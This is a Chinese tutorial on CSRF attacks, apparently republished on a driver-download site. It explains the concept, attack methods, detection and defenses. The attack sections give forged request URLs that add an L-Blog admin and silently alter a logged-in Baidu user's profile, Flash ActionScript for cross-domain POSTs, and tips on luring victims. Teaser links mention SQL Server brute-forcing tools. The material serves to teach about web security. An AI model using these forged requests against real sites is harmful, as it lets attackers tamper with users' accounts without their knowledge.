驱动管家:安全、高效、精准的专业驱动下载站!

什么是csrf攻击?csrf攻击如何防御?

2018-01-16 19:41:43责编:llp   来源:驱动管家     人气:

0x01 什么是CSRF攻击

CSRF是Cross Site Request Forgery的缩写(也缩写为XSRF),直译过来就是跨站请求伪造的意思,也就是在用户会话下对某个CGI做一些GET/POST的事情——这些事情用户未必知道和愿意做,你可以把它想做HTTP会话劫持。

网站是通过cookie来识别用户的,当用户成功进行身份验证之后浏览器就会得到一个标识其身份的cookie,只要不关闭浏览器或者退出登录,以后访问这个网站会带上这个cookie。如果这期间浏览器被人控制着请求了这个网站的url,可能就会执行一些用户不想做的功能(比如修改个人资料)。因为这个不是用户真正想发出的请求,这就是所谓的请求伪造;呵呵,因为这些请求也是可以从第三方网站提交的,所以前缀跨站二字。

什么是csrf攻击?csrf攻击如何防御?

举个简单的例子,某个bbs可以贴图,在贴图的URL中写入退出登陆的链接,当用户阅读这个帖子之后就会logout了,因为用户以自己的身份访问了退出登陆链接,在用户看来是帖子里面有一张有问题的“图片”,而不是想要退出,但程序就会认为是用户要求退出登陆而销毁其会话。这就是传说中的CSRF攻击了。

不要小看CSRF哦,记得以前L-Blog就存在一个CSRF漏洞(当时还不知道这个概念:p),它添加管理员是这样的一个链接:http: //localhost/L-Blog/admincp.asp?action=member&type=editmem&memID=2& memType=SupAdmin,我们只要构造好ID想办法让管理员访问到这个URL就可以了;还有Google那个CSRF漏洞[1],将导致邮件泄漏;另外,不要以为只有XSS才能爆发蠕虫,只要条件合适,CSRF同样是有可能的。

0x02 威胁来自哪里

贴图只是GET的方式,很多时候我们需要伪造POST的请求。一个办法是利用跨站,当然目标站点可能不存在跨站,这个时候我们可以从第三方网站发动攻击。

比如我要攻击一个存在问题的blog,那就先去目标blog留言,留下一个网址,诱其主人点击过来(这个就要看你的忽悠本事咯:p),然后构造个HTML表单提交些数据过去。

多窗口浏览器就帮了一点忙。

多窗口浏览器(firefox、遨游、MyIE……)便捷的同时也带来了一些问题,因为多窗口浏览器新开的窗口是具有当前所有会话的。即我用IE登陆了我的Blog,然后我想看新闻了,又运行一个IE进程,这个时候两个IE窗口的会话是彼此独立的,从看新闻的IE发送请求到Blog不会有我登录的 cookie;但是多窗口浏览器永远都只有一个进程,各窗口的会话是通用的,即看新闻的窗口发请求到Blog是会带上我在blog登录的cookie。

想一想,当我们用鼠标在Blog/BBS/WebMail点击别人留下的链接的时候,说不定一场精心准备的CSRF攻击正等着我们。

0x03 发起CSRF攻击

从第三方站点利用POST发动CSRF攻击就是利用Javascript自动提交表单到目标CGI。每次都去写表单不是很方便,辅助进行的工具有XSS POST Forwarder[2]和CSRF Redirector[3],这里我也写了相应的ASP版本[4]。使用的时候只要把提交的url和参数传给它,它就会自动POST到目标。

比如我要提交一些数据到www.0x54.org/a.asp:http: //www.0x54.org/lake2/xss_post_forwarder.asp?lake2=http://www.0x54.org/a.asp& a=123&b=321&c=&#%(这里要自己考虑URL编码哦)

不过实际攻击的时候你得动动脑子:如何才能把用户诱骗到我们的网页来。

0x04 一个实例

因为CSRF不如XSS那么引人注目,所以现在找一个存在CSRF的Web应用程序还是很容易的。这次我们的目标是百度,just for test。

随便你用什么办法,让一个已登陆百度的用户访问一下这个URL:http: //www.0x54.org/lake2/xss_post_forwarder.asp?lake2=http://passport.baidu.com/ucommitbas&u_jump_url=&sex=1&email=CSRF@baidu.com&sdv=&zodiac=0&birth_year=0&birth_month=0&birth_day=0&blood=0&bs0=请选择&bs1=请选择&bs2=无&txt_bs=&birth_site=;;&b=rs0=请选择&rs1=请选择&rs2=无&txt_rs=&reside_site=;;

呵呵,然后看看那人个人资料是不是被修改了。这里有点郁闷,当那人访问URL后浏览器会返回到资料修改成功的页面,我们就被发现了。那么,有没有办法不让浏览器刷新呢?

有。

一个办法是用iframe,构造这样的HTML代码:

还有一个办法就是用flash了。

0x05 CSRF With Flash

flash是可以提交数据到任意URL的,打开盗版的 Adobe flash CS 3 Professional,新建一个 flash文件(ActionScript 3.0) ,在默认的图层上点右键选动作,然后把以下代码添加进去:

import flash.net.URLRequest;

import flash.system.Security;

var url = new URLRequest("http://www.0x54.org/lake2");

var lake = new URLVariables();

lake = "a=lake2";

url.method = "POST";

url.data = lake;

sendToURL(url);

stop();

导出为swf文件,访问之,抓包看看效果咯:http://www.0x54.org/lake2/flash/test1.html

每次都去写as和编译swf很麻烦的,根据CSRF Redirector的思路我写了一个类似的flash程序[5],再拿百度来试试效果,访问带如下HTML的网页:(还是要注意URL二次编码)

这里不要只局限于发请求,其实flash是可以得到返回内容的,要是返回内容有敏感信息的话,就可以读出来发送到我们控制的Web去。当然,这个得看目标站点是否让flash跨域取内容了。

0x06 检测CSRF

检测CSRF漏洞都是体力活了,先抓取一个正常请求的数据包,然后去掉referer字段再重新提交,如果还是有效那基本上就存在问题了。当然参数可能含有不能预测的参数(比如userid什么的),这个时候就看这个不可预测的参数能不能通过其他手段比如flash拿到,如果能,呵呵,则还是存在问题。还有就是试着改post为get,因为有些程序是不区分get/post的。

应用程序的功能和返回形式都各不相同,所以想自动化测试CSRF漏洞还是有点困难的,OWASP上面有一个叫做CSRFTester的工具不妨拿来一试[6]

0x07 防御CSRF

在Web应用程序侧防御CSRF漏洞,一般都是利用referer、token或者验证码,Nexus的文章[7]已经写的很全面了;superhei也有提出bypass的思路[8],请参考他们的文章。

还有一个思路是在客户端防御,貌似可以做成一个类似HTTP Watch的软件,挂在浏览器上拦截或者过滤跨域的cookie。

  • 为什么企业数据泄密?要如何防范企业数据泄密?

    为什么企业数据泄密?要如何防范企业数据泄密?

    当前企业信息安全、商业机密保护是国内各行业网络管理的热点,在知识经济时代,商业机密的安全管理至关重要。如何防止员工复制电脑文件到U盘携带出去,如何禁止员工通过QQ发送文件将商业机密发送出去,以及如何禁

    详情2018-01-06 16:52:46责编:llp   来源:驱动管家     
  • 瑞星杀毒软件怎么用?使用瑞星杀毒软件网络版的注意事项

    瑞星杀毒软件怎么用?使用瑞星杀毒软件网络版的注意事项

    瑞星杀毒软件网络版可以对网络内的计算机进行统一的安装、设置、管理、维护和升级,从而为企业网络提供完善的病毒防范体系。对于初次接触瑞星杀毒软件网络版的用户来讲,使用经验的缺乏和对产品功能的不熟悉都可

    详情2018-01-15 14:04:48责编:llp   来源:驱动管家     
  • 恶意程序:开发工具blackhole是怎么勒索的?

    恶意程序:开发工具blackhole是怎么勒索的?

    随着时代的发展,当代木马恶意软件的趋势并不仅仅是通过洪水般的广告让你电脑当机或者是偷取你的银行密码,而是会将你的电脑锁住,让你不能干任何事情,除非你交了“赎金”。最近流行的“勒索软件”首次发现是在a

    详情2018-01-02 16:03:19责编:llp   来源:驱动管家     
  • 关闭445端口的方法 怎么关闭445端口?

    关闭445端口的方法 怎么关闭445端口?

    近日有多个高校发布了关于连接校园网的电脑大面积中勒索病毒的消息,这种病毒致使许多高校毕业生的毕业论文(设计)被锁。受害机器的磁盘文件会被篡改为相应的后缀,图片、文档、视频、压缩包等各类资料都无法正常打

    详情2018-01-07 14:19:55责编:llp   来源:驱动管家     
  • microsoft excel内存破坏、执行任意指令怎么办?

    microsoft excel内存破坏、执行任意指令怎么办?

    受影响系统: Microsoft Excel Viewer 2003 Microsoft Excel 2007 Microsoft Excel 2003 SP2 Microsoft Excel 2002 SP3 Microsoft Excel 2000 SP3 Microsoft Office 2004 for Mac 描述: ------------------------------------------------------

    详情2018-01-10 14:59:53责编:llp   来源:驱动管家     
  • 海康威视远程监控存在的xxe漏洞分析研究报告

    海康威视远程监控存在的xxe漏洞分析研究报告

    海康威视是一个致力于不断提升视频处理技术和视频分析技术,面向全球提供领先的监控产品、技术解决方案与专业优质服务,物联网发展和安全威胁总是如影随形。两个月前,我想研究一下网络摄像机,然后就在亚马逊上

    详情2018-01-15 15:26:02责编:llp   来源:驱动管家     
  • 网马是什么?怎么保护网马的代码?

    网马是什么?怎么保护网马的代码?

    网页木马实际上是一个HTML网页,它利用IE浏览器的漏洞,让IE在后台自动下载黑客放置在网络上的木马并运行(安装)这个木马。网马就是在网页中植入木马,你打开网页就运行了木马程序,使你在不知不觉中中毒。网马

    详情2018-01-16 12:21:40责编:llp   来源:驱动管家     
  • ghost系统有漏洞 有问题的ghost系统哪些?
    详情2018-01-05 18:34:15责编:llp   来源:驱动管家     
  • 黑客入侵有哪些方法?黑客入侵的手段

    黑客入侵有哪些方法?黑客入侵的手段

      1 1433端口入侵  scanport exe 查有1433的机器  SQLScanPass exe 进行字典暴破(字典是关键)

    详情2018-01-06 16:07:26责编:llp   来源:驱动管家     
  • ewebeditor漏洞利用的原理 ewebeditor漏洞如何利用?

    ewebeditor漏洞利用的原理 ewebeditor漏洞如何利用?

    漏洞的利用原理很简单,请看Upload asp文件:任何情况下都不允许上传asp脚本文件sAllowExt = Replace(UCase(sAllowExt), "ASP ", " ")修补方法:用以下语句替换上面那局话dim sFileType,Un_FileType,FileTypes

    详情2018-01-07 09:12:54责编:llp   来源:驱动管家